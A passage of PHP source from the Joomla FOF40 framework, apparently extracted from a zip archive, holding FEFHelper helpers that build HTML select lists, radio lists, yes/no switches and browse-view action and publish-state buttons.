'class', 'option.onclick' => 'onclick', ], ]; /** * Generates a yes/no radio list. * * @param string $name The value of the HTML name attribute * @param array $attribs Additional HTML attributes for the `<select>` tag * @param mixed $selected The key that is selected * @param string $yes Language key for Yes * @param string $no Language key for no * @param mixed $id The id for the field or false for no id * * @return string HTML for the radio list * * @see JFormFieldRadio */ public static function booleanlist($name, $attribs = [], $selected = null, $yes = 'JYES', $no = 'JNO', $id = false) { $options = [ \Joomla\CMS\HTML\HTMLHelper::_('FEFHelp.select.option', '0', \Joomla\CMS\Language\Text::_($no)), \Joomla\CMS\HTML\HTMLHelper::_('FEFHelp.select.option', '1', \Joomla\CMS\Language\Text::_($yes)), ]; $attribs = array_merge(['forSelect' => 1], $attribs); return \Joomla\CMS\HTML\HTMLHelper::_('FEFHelp.select.radiolist', $options, $name, $attribs, 'value', 'text', (int) $selected, $id); } /** * Generates a searchable HTML selection list (Chosen on J3, Choices.js on J4). * * @param array $data An array of objects, arrays, or scalars. * @param string $name The value of the HTML name attribute. * @param mixed $attribs Additional HTML attributes for the `<select>` tag. This * can be an array of attributes, or an array of options. Treated as options * if it is the last argument passed. Valid options are: * Format options, see {@see JHtml::$formatOptions}. * Selection options, see {@see JHtmlSelect::options()}. * list.attr, string|array: Additional attributes for the select * element. * id, string: Value to use as the select element id attribute. * Defaults to the same as the name. * list.select, string|array: Identifies one or more option elements * to be selected, based on the option key values. * @param string $optKey The name of the object variable for the option value. If * set to null, the index of the value array is used. * @param string $optText The name of the object variable for the option text. * @param mixed $selected The key that is selected (accepts an array or a string). * @param mixed $idtag Value of the field id or null by default * @param boolean $translate True to translate * * @return string HTML for the select list. * * @since 3.7.2 */ public static function smartlist($data, $name, $attribs = null, $optKey = 'value', $optText = 'text', $selected = null, $idtag = false, $translate = false) { $innerList = self::genericlist($data, $name, $attribs, $optKey, $optText, $selected, $idtag, $translate); // Joomla 3: Use Chosen if (version_compare(JVERSION, '3.999.999', 'le')) { HTMLHelper::_('formbehavior.chosen'); return $innerList; } // Joomla 4: Use the joomla-field-fancy-select using choices.js try { \Joomla\CMS\Factory::getApplication()->getDocument()->getWebAssetManager() ->usePreset('choicesjs') ->useScript('webcomponent.field-fancy-select'); } catch (Exception $e) { return $innerList; } $j4Attr = array_filter([ 'class' => $attribs['class'] ?? null, 'placeholder' => $attribs['placeholder'] ?? null, ], function ($x) { return !empty($x); }); $dataAttribute = ''; if (isset($attribs['dataAttribute'])) { $dataAttribute = is_string($attribs['dataAttribute']) ? $attribs['dataAttribute'] : ''; } if ((bool) ($attribs['allowCustom'] ?? false)) { $dataAttribute .= ' allow-custom new-item-prefix="#new#"'; } $remoteSearchUrl = $attribs['remoteSearchURL'] ?? null; $remoteSearch = ((bool) ($attribs['remoteSearch'] ?? false)) && !empty($remoteSearchUrl); $termKey = $attribs['termKey'] ?? 'like'; $minTermLength = $attribs['minTermLength'] ?? 3; if ($remoteSearch) { $dataAttribute .= ' remote-search'; $j4Attr['url'] = $remoteSearchUrl; $j4Attr['term-key'] = $termKey; $j4Attr['min-term-length'] = $minTermLength; } if (isset($attribs['required'])) { $j4Attr['class'] = ($j4Attr['class'] ?? '') . ' required'; $dataAttribute .= ' required'; } if (isset($attribs['readonly'])) { return $innerList; } return sprintf("<joomla-field-fancy-select %s %s>%s</joomla-field-fancy-select>", ArrayHelper::toString($j4Attr), $dataAttribute, $innerList); } /** * Generates an HTML selection list. * * @param array $data An array of objects, arrays, or scalars. * @param string $name The value of the HTML name attribute. * @param mixed $attribs Additional HTML attributes for the `<select>` tag. This * can be an array of attributes, or an array of options. Treated as options * if it is the last argument passed. Valid options are: * Format options, see {@see HTMLHelper::$formatOptions}. * Selection options, see {@see HTMLHelper::options()}. * list.attr, string|array: Additional attributes for the select * element. * id, string: Value to use as the select element id attribute. * Defaults to the same as the name. * list.select, string|array: Identifies one or more option elements * to be selected, based on the option key values. * @param string $optKey The name of the object variable for the option value. If * set to null, the index of the value array is used. * @param string $optText The name of the object variable for the option text. * @param mixed $selected The key that is selected (accepts an array or a string). * @param mixed $idtag Value of the field id or null by default * @param boolean $translate True to translate * * @return string HTML for the select list. * */ public static function genericlist(array $data, string $name, ?array $attribs = null, string $optKey = 'value', string $optText = 'text', $selected = null, $idtag = false, bool $translate = false): string { // Set default options $options = array_merge(HTMLHelper::$formatOptions, ['format.depth' => 0, 'id' => false]); if (is_array($attribs) && func_num_args() === 3) { // Assume we have an options array $options = array_merge($options, $attribs); } else { // Get options from the parameters $options['id'] = $idtag; $options['list.attr'] = $attribs; $options['list.translate'] = $translate; $options['option.key'] = $optKey; $options['option.text'] = $optText; $options['list.select'] = $selected; } $attribs = ''; if (isset($options['list.attr'])) { if (is_array($options['list.attr'])) { $attribs = ArrayHelper::toString($options['list.attr']); } else { $attribs = $options['list.attr']; } if ($attribs !== '') { $attribs = ' ' . $attribs; } } $id = $options['id'] !== false ? $options['id'] : $name; $id = str_replace(['[', ']', ' '], '', $id); $baseIndent = str_repeat($options['format.indent'], $options['format.depth']++); return $baseIndent . '<select' . ($id !== '' ? ' id="' . $id . '"' : '') . ' name="' . $name . '"' . $attribs . '>' . $options['format.eol'] . static::options($data, $options) . $baseIndent . '</select>' . $options['format.eol']; } /** * Generates a grouped HTML selection list from nested arrays. * * @param array $data An array of groups, each of which is an array of options. * @param string $name The value of the HTML name attribute * @param array $options Options, an array of key/value pairs. Valid options are: * Format options, {@see HTMLHelper::$formatOptions}. * Selection options. See {@see HTMLHelper::options()}. * group.id: The property in each group to use as the group id * attribute. Defaults to none. * group.label: The property in each group to use as the group * label. Defaults to "text". If set to null, the data array index key is * used. * group.items: The property in each group to use as the array of * items in the group. Defaults to "items". If set to null, group.id and * group. label are forced to null and the data element is assumed to be a * list of selections. * id: Value to use as the select element id attribute. Defaults to * the same as the name. * list.attr: Attributes for the select element. Can be a string or * an array of key/value pairs. Defaults to none. * list.select: either the value of one selected option or an array * of selected options. Default: none. * list.translate: Boolean. If set, text and labels are translated via * Text::_(). * * @return string HTML for the select list * * @throws RuntimeException If a group has contents that cannot be processed. */ public static function groupedlist(array $data, string $name, array $options = []): string { // Set default options and overwrite with anything passed in $options = array_merge( HTMLHelper::$formatOptions, [ 'format.depth' => 0, 'group.items' => 'items', 'group.label' => 'text', 'group.label.toHtml' => true, 'id' => false, ], $options ); // Apply option rules if ($options['group.items'] === null) { $options['group.label'] = null; } $attribs = ''; if (isset($options['list.attr'])) { if (is_array($options['list.attr'])) { $attribs = ArrayHelper::toString($options['list.attr']); } else { $attribs = $options['list.attr']; } if ($attribs !== '') { $attribs = ' ' . $attribs; } } $id = $options['id'] !== false ? $options['id'] : $name; $id = str_replace(['[', ']', ' '], '', $id); // Disable groups in the options. $options['groups'] = false; $baseIndent = str_repeat($options['format.indent'], $options['format.depth']++); $html = $baseIndent . '<select' . ($id !== '' ? ' id="' . $id . '"' : '') . ' name="' . $name . '"' . $attribs . '>' . $options['format.eol']; $groupIndent = str_repeat($options['format.indent'], $options['format.depth']++); foreach ($data as $dataKey => $group) { $label = $dataKey; $id = ''; $noGroup = is_int($dataKey); if ($options['group.items'] == null) { // Sub-list is an associative array $subList = $group; } elseif (is_array($group)) { // Sub-list is in an element of an array. $subList = $group[$options['group.items']]; if (isset($group[$options['group.label']])) { $label = $group[$options['group.label']]; $noGroup = false; } if (isset($options['group.id']) && isset($group[$options['group.id']])) { $id = $group[$options['group.id']]; $noGroup = false; } } elseif (is_object($group)) { // Sub-list is in a property of an object $subList = $group->{$options['group.items']}; if (isset($group->{$options['group.label']})) { $label = $group->{$options['group.label']}; $noGroup = false; } if (isset($options['group.id']) && isset($group->{$options['group.id']})) { $id = $group->{$options['group.id']}; $noGroup = false; } } else { throw new RuntimeException('Invalid group contents.', 1); } if ($noGroup) { $html .= static::options($subList, $options); } else { $html .= $groupIndent . '<optgroup' . (empty($id) ? '' : ' id="' . $id . '"') . ' label="' . ($options['group.label.toHtml'] ? htmlspecialchars($label, ENT_COMPAT, 'UTF-8') : $label) . '">' . $options['format.eol'] . static::options($subList, $options) . $groupIndent . '</optgroup>' . $options['format.eol']; } } return $html . ($baseIndent . '</select>' . $options['format.eol']); } /** * Generates a selection list of integers. * * @param integer $start The start integer * @param integer $end The end integer * @param integer $inc The increment * @param string $name The value of the HTML name attribute * @param mixed $attribs Additional HTML attributes for the `<select>` tag, an array of * attributes, or an array of options. Treated as options if it is the last * argument passed. * @param mixed $selected The key that is selected * @param string $format The printf format to be applied to the number * * @return string HTML for the select list */ public static function integerlist(int $start, int $end, int $inc, string $name, ?array $attribs = null, $selected = null, string $format = ''): string { // Set default options $options = array_merge(HTMLHelper::$formatOptions, ['format.depth' => 0, 'option.format' => '', 'id' => null]); if (is_array($attribs) && func_num_args() === 5) { // Assume we have an options array $options = array_merge($options, $attribs); // Extract the format and remove it from downstream options $format = $options['option.format']; unset($options['option.format']); } else { // Get options from the parameters $options['list.attr'] = $attribs; $options['list.select'] = $selected; } $start = (int) $start; $end = (int) $end; $inc = (int) $inc; $data = []; for ($i = $start; $i <= $end; $i += $inc) { $data[$i] = $format ? sprintf($format, $i) : $i; } // Tell genericlist() to use array keys $options['option.key'] = null; return HTMLHelper::_('FEFHelp.select.genericlist', $data, $name, $options); } /** * Create an object that represents an option in an option list. * * @param string $value The value of the option * @param string $text The text for the option * @param mixed $optKey If a string, the returned object property name for * the value. If an array, options. Valid options are: * attr: String|array. Additional attributes for this option. * Defaults to none. * disable: Boolean. If set, this option is disabled. * label: String. The value for the option label. * option.attr: The property in each option array to use for * additional selection attributes. Defaults to none. * option.disable: The property that will hold the disabled state. * Defaults to "disable". * option.key: The property that will hold the selection value. * Defaults to "value". * option.label: The property in each option array to use as the * selection label attribute. If a "label" option is provided, defaults to * "label", if no label is given, defaults to null (none). * option.text: The property that will hold the the displayed text. * Defaults to "text". If set to null, the option array is assumed to be a * list of displayable scalars. * @param string $optText The property that will hold the the displayed text. This * parameter is ignored if an options array is passed. * @param boolean $disable Not used. * * @return stdClass */ public static function option(?string $value, string $text = '', $optKey = 'value', string $optText = 'text', bool $disable = false) { $options = [ 'attr' => null, 'disable' => false, 'option.attr' => null, 'option.disable' => 'disable', 'option.key' => 'value', 'option.label' => null, 'option.text' => 'text', ]; if (is_array($optKey)) { // Merge in caller's options $options = array_merge($options, $optKey); } else { // Get options from the parameters $options['option.key'] = $optKey; $options['option.text'] = $optText; $options['disable'] = $disable; } $obj = new stdClass; $obj->{$options['option.key']} = $value; $obj->{$options['option.text']} = trim($text) ? $text : $value; /* * If a label is provided, save it. If no label is provided and there is * a label name, initialise to an empty string. */ $hasProperty = $options['option.label'] !== null; if (isset($options['label'])) { $labelProperty = $hasProperty ? $options['option.label'] : 'label'; $obj->$labelProperty = $options['label']; } elseif ($hasProperty) { $obj->{$options['option.label']} = ''; } // Set attributes only if there is a property and a value if ($options['attr'] !== null) { $obj->{$options['option.attr']} = $options['attr']; } // Set disable only if it has a property and a value if ($options['disable'] !== null) { $obj->{$options['option.disable']} = $options['disable']; } return $obj; } /** * Generates the option tags for an HTML select list (with no select tag * surrounding the options). * * @param array $arr An array of objects, arrays, or values. * @param mixed $optKey If a string, this is the name of the object variable for * the option value. If null, the index of the array of objects is used. If * an array, this is a set of options, as key/value pairs. Valid options are: * -Format options, {@see HTMLHelper::$formatOptions}. * -groups: Boolean. If set, looks for keys with the value * "<optgroup>" and synthesizes groups from them. Deprecated. Defaults * true for backwards compatibility. * -list.select: either the value of one selected option or an array * of selected options. Default: none. * -list.translate: Boolean. If set, text and labels are translated via * Text::_(). Default is false. * -option.id: The property in each option array to use as the * selection id attribute. Defaults to none. * -option.key: The property in each option array to use as the * selection value. Defaults to "value". If set to null, the index of the * option array is used. * -option.label: The property in each option array to use as the * selection label attribute. Defaults to null (none). * -option.text: The property in each option array to use as the * displayed text. Defaults to "text". If set to null, the option array is * assumed to be a list of displayable scalars. * -option.attr: The property in each option array to use for * additional selection attributes. Defaults to none. * -option.disable: The property that will hold the disabled state. * Defaults to "disable". * -option.key: The property that will hold the selection value. * Defaults to "value". * -option.text: The property that will hold the the displayed text. * Defaults to "text". If set to null, the option array is assumed to be a * list of displayable scalars. * @param string $optText The name of the object variable for the option text. * @param mixed $selected The key that is selected (accepts an array or a string) * @param boolean $translate Translate the option values. * * @return string HTML for the select list */ public static function options(array $arr, $optKey = 'value', string $optText = 'text', ?string $selected = null, bool $translate = false): string { $options = array_merge( HTMLHelper::$formatOptions, static::$optionDefaults['option'], ['format.depth' => 0, 'groups' => true, 'list.select' => null, 'list.translate' => false] ); if (is_array($optKey)) { // Set default options and overwrite with anything passed in $options = array_merge($options, $optKey); } else { // Get options from the parameters $options['option.key'] = $optKey; $options['option.text'] = $optText; $options['list.select'] = $selected; $options['list.translate'] = $translate; } $html = ''; $baseIndent = str_repeat($options['format.indent'], $options['format.depth']); foreach ($arr as $elementKey => &$element) { $attr = ''; $extra = ''; $label = ''; $id = ''; if (is_array($element)) { $key = $options['option.key'] === null ? $elementKey : $element[$options['option.key']]; $text = $element[$options['option.text']]; if (isset($element[$options['option.attr']])) { $attr = $element[$options['option.attr']]; } if (isset($element[$options['option.id']])) { $id = $element[$options['option.id']]; } if (isset($element[$options['option.label']])) { $label = $element[$options['option.label']]; } if (isset($element[$options['option.disable']]) && $element[$options['option.disable']]) { $extra .= ' disabled="disabled"'; } } elseif (is_object($element)) { $key = $options['option.key'] === null ? $elementKey : $element->{$options['option.key']}; $text = $element->{$options['option.text']}; if (isset($element->{$options['option.attr']})) { $attr = $element->{$options['option.attr']}; } if (isset($element->{$options['option.id']})) { $id = $element->{$options['option.id']}; } if (isset($element->{$options['option.label']})) { $label = $element->{$options['option.label']}; } if (isset($element->{$options['option.disable']}) && $element->{$options['option.disable']}) { $extra .= ' disabled="disabled"'; } if (isset($element->{$options['option.class']}) && $element->{$options['option.class']}) { $extra .= ' class="' . $element->{$options['option.class']} . '"'; } if (isset($element->{$options['option.onclick']}) && $element->{$options['option.onclick']}) { $extra .= ' onclick="' . $element->{$options['option.onclick']} . '"'; } } else { // This is a simple associative array $key = $elementKey; $text = $element; } /* * The use of options that contain optgroup HTML elements was * somewhat hacked for J1.5. J1.6 introduces the grouplist() method * to handle this better. The old solution is retained through the * "groups" option, which defaults true in J1.6, but should be * deprecated at some point in the future. */ $key = (string) $key; if ($key === '<OPTGROUP>' && $options['groups']) { $html .= $baseIndent . '<optgroup label="' . ($options['list.translate'] ? Text::_($text) : $text) . '">' . $options['format.eol']; $baseIndent = str_repeat($options['format.indent'], ++$options['format.depth']); } elseif ($key === '</OPTGROUP>' && $options['groups']) { $baseIndent = str_repeat($options['format.indent'], --$options['format.depth']); $html .= $baseIndent . '</optgroup>' . $options['format.eol']; } else { // If no string after hyphen - take hyphen out $splitText = explode(' - ', $text, 2); $text = $splitText[0]; if (isset($splitText[1]) && $splitText[1] !== '' && !preg_match('/^[\s]+$/', $splitText[1])) { $text .= ' - ' . $splitText[1]; } if (!empty($label) && $options['list.translate']) { $label = Text::_($label); } if ($options['option.label.toHtml']) { $label = htmlentities($label); } if (is_array($attr)) { $attr = ArrayHelper::toString($attr); } else { $attr = trim($attr); } $extra = ($id ? ' id="' . $id . '"' : '') . ($label ? ' label="' . $label . '"' : '') . ($attr ? ' ' . $attr : '') . $extra; if (is_array($options['list.select'])) { foreach ($options['list.select'] as $val) { $key2 = is_object($val) ? $val->{$options['option.key']} : $val; if ($key == $key2) { $extra .= ' selected="selected"'; break; } } } elseif ((string) $key === (string) $options['list.select']) { $extra .= ' selected="selected"'; } if ($options['list.translate']) { $text = Text::_($text); } // Generate the option, encoding as required $html .= $baseIndent . '<option value="' . ($options['option.key.toHtml'] ? htmlspecialchars($key, ENT_COMPAT, 'UTF-8') : $key) . '"' . $extra . '>'; $html .= $options['option.text.toHtml'] ? htmlentities(html_entity_decode($text, ENT_COMPAT, 'UTF-8'), ENT_COMPAT, 'UTF-8') : $text; $html .= '</option>' . $options['format.eol']; } } return $html; } /** * Generates an HTML radio list. * * @param array $data An array of objects * @param string $name The value of the HTML name attribute * @param string $attribs Additional HTML attributes for the `<select>` tag * @param mixed $optKey The key that is selected * @param string $optText The name of the object variable for the option value * @param mixed $selected The name of the object variable for the option text * @param boolean $idtag Value of the field id or null by default * @param boolean $translate True if options will be translated * * @return string HTML for the select list */ public static function radiolist($data, $name, $attribs = null, $optKey = 'value', $optText = 'text', $selected = null, $idtag = false, $translate = false) { $forSelect = false; if (isset($attribs['forSelect'])) { $forSelect = (bool) ($attribs['forSelect']); unset($attribs['forSelect']); } if (is_array($attribs)) { $attribs = ArrayHelper::toString($attribs); } $id_text = empty($idtag) ? $name : $idtag; $html = ''; foreach ($data as $optionObject) { $optionValue = $optionObject->$optKey; $labelText = $translate ? \Joomla\CMS\Language\Text::_($optionObject->$optText) : $optionObject->$optText; $id = ($optionObject->id ?? null); $extra = ''; $id = $id ? $optionObject->id : $id_text . $optionValue; if (is_array($selected)) { foreach ($selected as $val) { $k2 = is_object($val) ? $val->$optKey : $val; if ($optionValue == $k2) { $extra .= ' selected="selected" '; break; } } } else { $extra .= ((string) $optionValue === (string) $selected ? ' checked="checked" ' : ''); } if ($forSelect) { $html .= "\n\t" . '<input type="radio" name="' . $name . '" id="' . $id . '" value="' . $optionValue . '" ' . $extra . $attribs . ' />'; $html .= "\n\t" . '<label for="' . $id . '" id="' . $id . '-lbl">' . $labelText . '</label>'; } else { $html .= "\n\t" . '<label for="' . $id . '" id="' . $id . '-lbl">'; $html .= "\n\t\n\t" . '<input type="radio" name="' . $name . '" id="' . $id . '" value="' . $optionValue . '" ' . $extra . $attribs . ' />' . $labelText; $html .= "\n\t" . '</label>'; } } return $html . "\n"; } /** * Creates two radio buttons styled with FEF to appear as a YES/NO switch * * @param string $name Name of the field * @param mixed $selected Selected field * @param array $attribs Additional attributes to add to the switch * * @return string The HTML for the switch */ public static function booleanswitch(string $name, $selected, array $attribs = []): string { if (empty($attribs)) { $attribs = ['class' => 'akeeba-toggle']; } elseif (isset($attribs['class'])) { $attribs['class'] .= ' akeeba-toggle'; } else { $attribs['class'] = 'akeeba-toggle'; } $temp = ''; foreach ($attribs as $key => $value) { $temp .= $key . ' = "' . $value . '"'; } $attribs = $temp; $checked_1 = $selected ? '' : 'checked '; $checked_2 = $selected ? 'checked ' : ''; $html = '<div ' . $attribs . '>'; $html .= '<input type="radio" class="radio-yes" name="' . $name . '" ' . $checked_2 . 'id="' . $name . '-2" value="1">'; $html .= '<label for="' . $name . '-2" class="green">' . Text::_('JYES') . '</label>'; $html .= '<input type="radio" class="radio-no" name="' . $name . '" ' . $checked_1 . 'id="' . $name . '-1" value="0">'; $html .= '<label for="' . $name . '-1" class="red">' . Text::_('JNO') . '</label>'; $html .= '</div>'; return $html; } } PK���\�J@��y�yfof40/Html/FEFHelper/browse.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ defined('_JEXEC') || die; use FOF40\Html\FEFHelper\BrowseView; use FOF40\Model\DataModel; use FOF40\Utils\ArrayHelper; use FOF40\View\DataView\DataViewInterface; use FOF40\View\DataView\Raw as DataViewRaw; use Joomla\CMS\Factory as JoomlaFactory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Pagination\Pagination; /** * Custom JHtml (HTMLHelper) class. Offers browse view controls compatible with Akeeba Frontend * Framework (FEF). * * Call these methods as HTMLHelper::_('FEFHelp.browse.methodName', $parameter1, $parameter2, ...) * * @noinspection PhpIllegalPsrClassPathInspection */ abstract class FEFHelpBrowse { /** * Returns an action button on the browse view's table * * @param integer $i The row index * @param string $task The task to fire when the button is clicked * @param string|array $prefix An optional task prefix or an array of options * @param string $active_title An optional active tooltip to display if $enable is true * @param string $inactive_title An optional inactive tooltip to display if $enable is true * @param boolean $tip An optional setting for tooltip * @param string $active_class An optional active HTML class * @param string $inactive_class An optional inactive HTML class * @param boolean $enabled An optional setting for access control on the action. * @param boolean $translate An optional setting for translation. * @param string $checkbox An optional prefix for checkboxes. * * @return string The HTML markup * * @since 3.3.0 */ public static function action(int $i, string $task, $prefix = '', string $active_title = '', string $inactive_title = '', bool $tip = false, string $active_class = '', string $inactive_class = '', bool $enabled = true, bool $translate = true, string $checkbox = 'cb'): string { if (is_array($prefix)) { $options = $prefix; $active_title = array_key_exists('active_title', $options) ? $options['active_title'] : $active_title; $inactive_title = array_key_exists('inactive_title', $options) ? $options['inactive_title'] : $inactive_title; $tip = array_key_exists('tip', $options) ? $options['tip'] : $tip; $active_class = array_key_exists('active_class', $options) ? $options['active_class'] : $active_class; $inactive_class = array_key_exists('inactive_class', $options) ? $options['inactive_class'] : $inactive_class; $enabled = array_key_exists('enabled', $options) ? $options['enabled'] : $enabled; $translate = array_key_exists('translate', $options) ? $options['translate'] : $translate; $checkbox = array_key_exists('checkbox', $options) ? $options['checkbox'] : $checkbox; $prefix = array_key_exists('prefix', $options) ? $options['prefix'] : ''; } if ($tip) { $title = $enabled ? $active_title : $inactive_title; $title = $translate ? Text::_($title) : $title; $title = HTMLHelper::_('tooltipText', $title, '', 0); } if ($enabled) { $btnColor = 'grey'; if (substr($active_class, 0, 2) == '--') { [$btnColor, $active_class] = explode(' ', $active_class, 2); $btnColor = ltrim($btnColor, '-'); } $html = []; $html[] = '<a class="akeeba-btn--' . $btnColor . '--mini ' . ($active_class === 'publish' ? ' active' : '') . ($tip ? ' hasTooltip' : '') . '"'; $html[] = ' href="javascript:void(0);" onclick="return Joomla.listItemTask(\'' . $checkbox . $i . '\',\'' . $prefix . $task . '\')"'; $html[] = $tip ? ' title="' . $title . '"' : ''; $html[] = '>'; $html[] = '<span class="akion-' . $active_class . '" aria-hidden="true"></span> '; $html[] = '</a>'; return implode($html); } $btnColor = 'grey'; if (substr($inactive_class, 0, 2) == '--') { [$btnColor, $inactive_class] = explode(' ', $inactive_class, 2); $btnColor = ltrim($btnColor, '-'); } $html = []; $html[] = '<a class="akeeba-btn--' . $btnColor . '--mini disabled akeebagrid' . ($tip ? ' hasTooltip' : '') . '"'; $html[] = $tip ? ' title="' . $title . '"' : ''; $html[] = '>'; if ($active_class === 'protected') { $inactive_class = 'locked'; } $html[] = '<span class="akion-' . $inactive_class . '"></span> '; $html[] = '</a>'; return implode($html); } /** * Returns a state change button on the browse view's table * * @param array $states array of value/state. Each state is an array of the form * (task, text, active title, inactive title, tip (boolean), HTML active class, * HTML inactive class) or ('task'=>task, 'text'=>text, 'active_title'=>active * title, * 'inactive_title'=>inactive title, 'tip'=>boolean, 'active_class'=>html active * class, * 'inactive_class'=>html inactive class) * @param integer $value The state value. * @param integer $i The row index * @param string|array $prefix An optional task prefix or an array of options * @param boolean $enabled An optional setting for access control on the action. * @param boolean $translate An optional setting for translation. * @param string $checkbox An optional prefix for checkboxes. * * @return string The HTML markup * * @since 3.3.0 */ public static function state(array $states, int $value, int $i, $prefix = '', bool $enabled = true, bool $translate = true, string $checkbox = 'cb'): string { if (is_array($prefix)) { $options = $prefix; $enabled = array_key_exists('enabled', $options) ? $options['enabled'] : $enabled; $translate = array_key_exists('translate', $options) ? $options['translate'] : $translate; $checkbox = array_key_exists('checkbox', $options) ? $options['checkbox'] : $checkbox; $prefix = array_key_exists('prefix', $options) ? $options['prefix'] : ''; } $state = ArrayHelper::getValue($states, (int) $value, $states[0]); $task = array_key_exists('task', $state) ? $state['task'] : $state[0]; $text = array_key_exists('text', $state) ? $state['text'] : (array_key_exists(1, $state) ? $state[1] : ''); $active_title = array_key_exists('active_title', $state) ? $state['active_title'] : (array_key_exists(2, $state) ? $state[2] : ''); $inactive_title = array_key_exists('inactive_title', $state) ? $state['inactive_title'] : (array_key_exists(3, $state) ? $state[3] : ''); $tip = array_key_exists('tip', $state) ? $state['tip'] : (array_key_exists(4, $state) ? $state[4] : false); $active_class = array_key_exists('active_class', $state) ? $state['active_class'] : (array_key_exists(5, $state) ? $state[5] : ''); $inactive_class = array_key_exists('inactive_class', $state) ? $state['inactive_class'] : (array_key_exists(6, $state) ? $state[6] : ''); return static::action( $i, $task, $prefix, $active_title, $inactive_title, $tip, $active_class, $inactive_class, $enabled, $translate, $checkbox ); } /** * Returns a published state on the browse view's table * * @param integer $value The state value. * @param integer $i The row index * @param string|array $prefix An optional task prefix or an array of options * @param boolean $enabled An optional setting for access control on the action. * @param string $checkbox An optional prefix for checkboxes. * @param string $publish_up An optional start publishing date. * @param string $publish_down An optional finish publishing date. * * @return string The HTML markup * * @see self::state() * * @since 3.3.0 */ public static function published(int $value, int $i, $prefix = '', bool $enabled = true, string $checkbox = 'cb', ?string $publish_up = null, ?string $publish_down = null): string { if (is_array($prefix)) { $options = $prefix; $enabled = array_key_exists('enabled', $options) ? $options['enabled'] : $enabled; $checkbox = array_key_exists('checkbox', $options) ? $options['checkbox'] : $checkbox; $prefix = array_key_exists('prefix', $options) ? $options['prefix'] : ''; } /** * Format: * * (task, text, active title, inactive title, tip (boolean), active icon class (without akion-), inactive icon class (without akion-)) */ $states = [ 1 => [ 'unpublish', 'JPUBLISHED', 'JLIB_HTML_UNPUBLISH_ITEM', 'JPUBLISHED', true, '--green checkmark', '--green checkmark', ], 0 => [ 'publish', 'JUNPUBLISHED', 'JLIB_HTML_PUBLISH_ITEM', 'JUNPUBLISHED', true, '--red close', '--red close', ], 2 => [ 'unpublish', 'JARCHIVED', 'JLIB_HTML_UNPUBLISH_ITEM', 'JARCHIVED', true, '--orange ion-ios-box', '--orange ion-ios-box', ], -2 => [ 'publish', 'JTRASHED', 'JLIB_HTML_PUBLISH_ITEM', 'JTRASHED', true, '--dark trash-a', '--dark trash-a', ], ]; // Special state for dates if ($publish_up || $publish_down) { $nullDate = JoomlaFactory::getDbo()->getNullDate(); $nowDate = JoomlaFactory::getDate()->toUnix(); $tz = JoomlaFactory::getUser()->getTimezone(); $publish_up = (!empty($publish_up) && ($publish_up != $nullDate)) ? JoomlaFactory::getDate($publish_up, 'UTC')->setTimeZone($tz) : false; $publish_down = (!empty($publish_down) && ($publish_down != $nullDate)) ? JoomlaFactory::getDate($publish_down, 'UTC')->setTimeZone($tz) : false; // Create tip text, only we have publish up or down settings $tips = []; if ($publish_up) { $tips[] = Text::sprintf('JLIB_HTML_PUBLISHED_START', HTMLHelper::_('date', $publish_up, Text::_('DATE_FORMAT_LC5'), 'UTC')); } if ($publish_down) { $tips[] = Text::sprintf('JLIB_HTML_PUBLISHED_FINISHED', HTMLHelper::_('date', $publish_down, Text::_('DATE_FORMAT_LC5'), 'UTC')); } $tip = empty($tips) ? false : implode('<br />', $tips); // Add tips and special titles foreach (array_keys($states) as $key) { // Create special titles for published items if ($key == 1) { $states[$key][2] = $states[$key][3] = 'JLIB_HTML_PUBLISHED_ITEM'; if (!empty($publish_up) && ($publish_up != $nullDate) && $nowDate < $publish_up->toUnix()) { $states[$key][2] = $states[$key][3] = 'JLIB_HTML_PUBLISHED_PENDING_ITEM'; $states[$key][5] = $states[$key][6] = 'android-time'; } if (!empty($publish_down) && ($publish_down != $nullDate) && $nowDate > $publish_down->toUnix()) { $states[$key][2] = $states[$key][3] = 'JLIB_HTML_PUBLISHED_EXPIRED_ITEM'; $states[$key][5] = $states[$key][6] = 'alert'; } } // Add tips to titles if ($tip) { $states[$key][1] = Text::_($states[$key][1]); $states[$key][2] = Text::_($states[$key][2]) . '<br />' . $tip; $states[$key][3] = Text::_($states[$key][3]) . '<br />' . $tip; $states[$key][4] = true; } } return static::state($states, $value, $i, [ 'prefix' => $prefix, 'translate' => !$tip, ], $enabled, true, $checkbox); } return static::state($states, $value, $i, $prefix, $enabled, true, $checkbox); } /** * Returns an isDefault state on the browse view's table * * @param integer $value The state value. * @param integer $i The row index * @param string|array $prefix An optional task prefix or an array of options * @param boolean $enabled An optional setting for access control on the action. * @param string $checkbox An optional prefix for checkboxes. * * @return string The HTML markup * * @see self::state() * @since 3.3.0 */ public static function isdefault(int $value, int $i, $prefix = '', bool $enabled = true, string $checkbox = 'cb'): string { if (is_array($prefix)) { $options = $prefix; $enabled = array_key_exists('enabled', $options) ? $options['enabled'] : $enabled; $checkbox = array_key_exists('checkbox', $options) ? $options['checkbox'] : $checkbox; $prefix = array_key_exists('prefix', $options) ? $options['prefix'] : ''; } $states = [ 0 => ['setDefault', '', 'JLIB_HTML_SETDEFAULT_ITEM', '', 1, 'android-star-outline', 'android-star-outline'], 1 => [ 'unsetDefault', 'JDEFAULT', 'JLIB_HTML_UNSETDEFAULT_ITEM', 'JDEFAULT', 1, 'android-star', 'android-star', ], ]; return static::state($states, $value, $i, $prefix, $enabled, true, $checkbox); } /** * Returns a checked-out icon * * @param integer $i The row index. * @param string $editorName The name of the editor. * @param string $time The time that the object was checked out. * @param string|array $prefix An optional task prefix or an array of options * @param boolean $enabled True to enable the action. * @param string $checkbox An optional prefix for checkboxes. * * @return string The HTML markup * * @since 3.3.0 */ public static function checkedout(int $i, string $editorName, string $time, $prefix = '', bool $enabled = false, string $checkbox = 'cb'): string { HTMLHelper::_('bootstrap.tooltip'); if (is_array($prefix)) { $options = $prefix; $enabled = array_key_exists('enabled', $options) ? $options['enabled'] : $enabled; $checkbox = array_key_exists('checkbox', $options) ? $options['checkbox'] : $checkbox; $prefix = array_key_exists('prefix', $options) ? $options['prefix'] : ''; } $text = $editorName . '<br />' . HTMLHelper::_('date', $time, Text::_('DATE_FORMAT_LC')) . '<br />' . HTMLHelper::_('date', $time, 'H:i'); $active_title = HTMLHelper::_('tooltipText', Text::_('JLIB_HTML_CHECKIN'), $text, 0); $inactive_title = HTMLHelper::_('tooltipText', Text::_('JLIB_HTML_CHECKED_OUT'), $text, 0); return static::action( $i, 'checkin', 